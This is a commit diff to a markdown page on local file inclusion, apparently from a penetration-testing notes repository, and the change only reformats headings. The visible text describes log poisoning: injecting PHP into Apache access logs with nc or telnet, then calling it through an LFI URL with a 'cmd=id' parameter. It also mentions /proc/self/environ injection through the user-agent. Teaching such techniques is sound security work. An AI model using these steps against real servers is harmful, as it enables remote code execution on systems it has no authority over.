Commit abb54639 authored by bobloblaw's avatar bobloblaw
Browse files

Updates local_file_inclusion.md

Auto commit by GitBook Editor
parent 9407a059
Loading
Loading
Loading
Loading
+9 −8
Original line number Diff line number Diff line
@@ -197,7 +197,8 @@ There are some requirements. We need to be able to read the apache2 log files, e

So once you have found a LFI vuln you have to inject php-code into the log file and then execute it.

1. Insert php-code into the log file.
**Insert php-code into the log file**

This can be done with nc or telnet.

```
@@ -225,14 +226,14 @@ Host: 192.168.1.159
Connection: close
```

1. Execute it
   In the browser:
**Execute it in the browser**

```
http://192.168.1.102/index.php?/var/log/apache2/access.log&cmd=id
```


### /proc/self/environ
### Proc files

We can also inject code into /proc/self/environ through the user-agent